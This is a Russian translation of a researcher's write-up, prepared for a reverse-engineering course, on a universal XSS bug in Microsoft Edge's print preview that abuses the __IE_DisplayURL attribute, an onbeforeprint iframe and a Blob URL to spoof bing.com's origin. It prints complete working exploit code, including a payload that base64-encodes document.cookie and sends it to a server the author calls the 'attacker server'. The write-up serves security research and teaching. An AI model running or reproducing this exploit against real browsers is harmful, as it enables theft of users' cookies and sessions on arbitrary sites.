Перевод статьи подготовлен специально для студентов курса «Реверс-инжиниринг».
Универсальный XSS (uXSS) – это баг браузера, который дает возможность выполнять код на JavaScript на любом сайте.
Кажется, будто XSS есть на всех сайтах и выглядит это очень интересно. Что еще интереснее, так это то, как я нашел эту ошибку. Обычно, если речь заходит о uXSS, то это скорее всего связано с элементом IFRAME или возней с URL, но я никогда не думал, что найду XSS-уязвимость, используя функцию print()
.
Окно предварительного просмотра
Давайте поговорим о том, что на самом деле происходит, когда Edge отображает окно предварительного просмотра печати.
Я всегда думал, что там находится просто скриншот, отрисованный технологией типа Canvas, но на самом деле страница, которую вы собираетесь печатать, копируется в temp и повторно рендерится!
Когда на странице выполняется print()
, мы видим следующую активность файловой системы в Process Monitor:
Итак, файл создается во временной директории Edge, и содержимое этого файла представляет собой слегка измененную версию исходной страницы, которую мы пытались распечатать. Давайте сравним.
Перед печатью:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
После печати:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:UsersQAppDataLocalPackagesmicrosoft.microsoftedge_8wekyb3d8bbweAC#!001Temp3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML>
Есть несколько вещей, которые мы можем заметить из этого сравнения.
- Javascript кодируется и рендерится неправильно.
- Теперь IFRAME указывает на другой локальный файл в той же самой директории, которая содержит исходный код оригинальной ссылки
bing.com
. - У HTML элемента теперь есть своеобразный атрибут
__IE_DisplayURL
.
В отношении первого и второго пункта я провел несколько тестов. Сначала я хотел понять, могу ли я получить валидный Javascript-код после смены кодировки, в надежде, что в итоге я смогу выполнить Javascript. Оказалось, что любой код внутри элемента <
script>, нормальный или нет, выполняться не будет.
Второй пункт помог мне раскрыть имя пользователя операционной системы с помощью функционала @media print{}
в CSS и магии селекторов. Я смог получить его из значения IFRAME href. Однако и этого было недостаточно.
Вот на третьем пункте стало интересно, поскольку этот атрибут крайне необычный и до этого момента я с ним не встречался. Я сразу же его загуглил и нашел несколько статей, исходя из которых понял, что некто Масато Кинугава уже поиграл с ним и обнаружил крутые баги.
После чтения и некоторой практики, я обнаружил, что контекст предварительного просмотра узнает из этого атрибута откуда появляется документ. Это имеет смысл, поскольку Edge открывает файлы с помощью file:
URI схемы. С помощью этого атрибута, указывающего на источник, вы заметите, что все запросы, поступающие от документа (в рамках предварительного просмотра), будут имитировать точно такое же поведение, как если бы они поступали с исходного веб-сайта.
Как мы можем использовать этот атрибут? Должен же быть какой-то способ!
Выполнение кода на Javascript с помощью предварительного просмотра
Как я уже говорил, любой код на JavaScript, находящийся в нормальном теге script будет заблокирован или просто проигнорирован. Но что есть мыслить в другом направлении? Я перепробовал все, что только мог придумать, поэтому избавлю вас от траты времени на множество неудачных попыток и перейду сразу к делу.
Здесь мы имеем дело с функцией печати, поэтому я играл с событиями, относящимися к печати. Результат мне принесло "onbeforeprint"
, с помощью него я получил возможность внедрять IFRAME, который указывал на любой веб-сайт и Edge не нужно было конвертировать его сначала в файл. Почти сразу я попытался внедрить IFRAME, который указывал на URL-адрес Javascript-кода и та-дам! Этот код выполнялся в контексте предварительного просмотра.
Тест Javascript-инъекции:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
После конвертации предварительного просмотра документа:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</SCRIPT>
</BODY></HTML>
Скриншот результата:
То, что мы умеем выполнять код еще не значит, что мы закончили. Как я уже говорил ранее, из-за атрибута __IE_DisplayURL
любой запрос или вызов API будут рассматриваться, как исходящие от документа.
Реализация uXSS
Теперь, когда мы умеем внедрять свой исполняемый код, нам нужно каким-то образом создать свой собственный «предварительный просмотр документа» с нашим собственным __IE_DisplayURL
, а затем мы сможем сымитировать любой веб-сайт, который выберем для uXSS.
Я обнаружил, что с помощью Blob URL я смогу добиться нужного эффекта! Поэтому я сделал свой собственный документ для печати со своим атрибутом, указывающим на целевой сайт (в моем случае bing.com
). Он содержал Javascript IFRAME, который выполнялся, как будто он исходит от bing.com
.
Я внедрил следующий код:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
Где top.document.getElementById('qd').value
— это следующий фейковый документ для печати.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='https://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
Все, что я делаю – это читаю document.cookie
и отправляю их обратно серверу.
А теперь обобщим то, что делает финальная версия эксплойта:
- Используя событие
onbeforeprint
, я внедряю IFRAME, который указывает на мою полезную нагрузку непосредственно перед печатью. - Для инициализации я вызываю
window.print()
. - Затем Edge отображает окно предварительного просмотра во время рендеринга моего внедренного кода;
- Внедренный Javascript-код создал Blob URL-адрес, который содержит мой собственный документ для печати
bing.com
и перенаправляет верхний фрейм на этот адрес. - Контекст предварительного просмотра печати думает, что содержимое моего Blob URL-адреса – настоящий документ для печати и устанавливает происхождение документа как
bing.com
с помощью атрибута__IE_DisplayURL
. - Фейковый документ для печати сам по себе содержит другой IFRAME, который просто отображает
document.cookie
источникаbing.com
. - uXSS работает!
Итоговый код и видео
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='https://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>
Полезные ссылки:
Автор: MaxRokatansky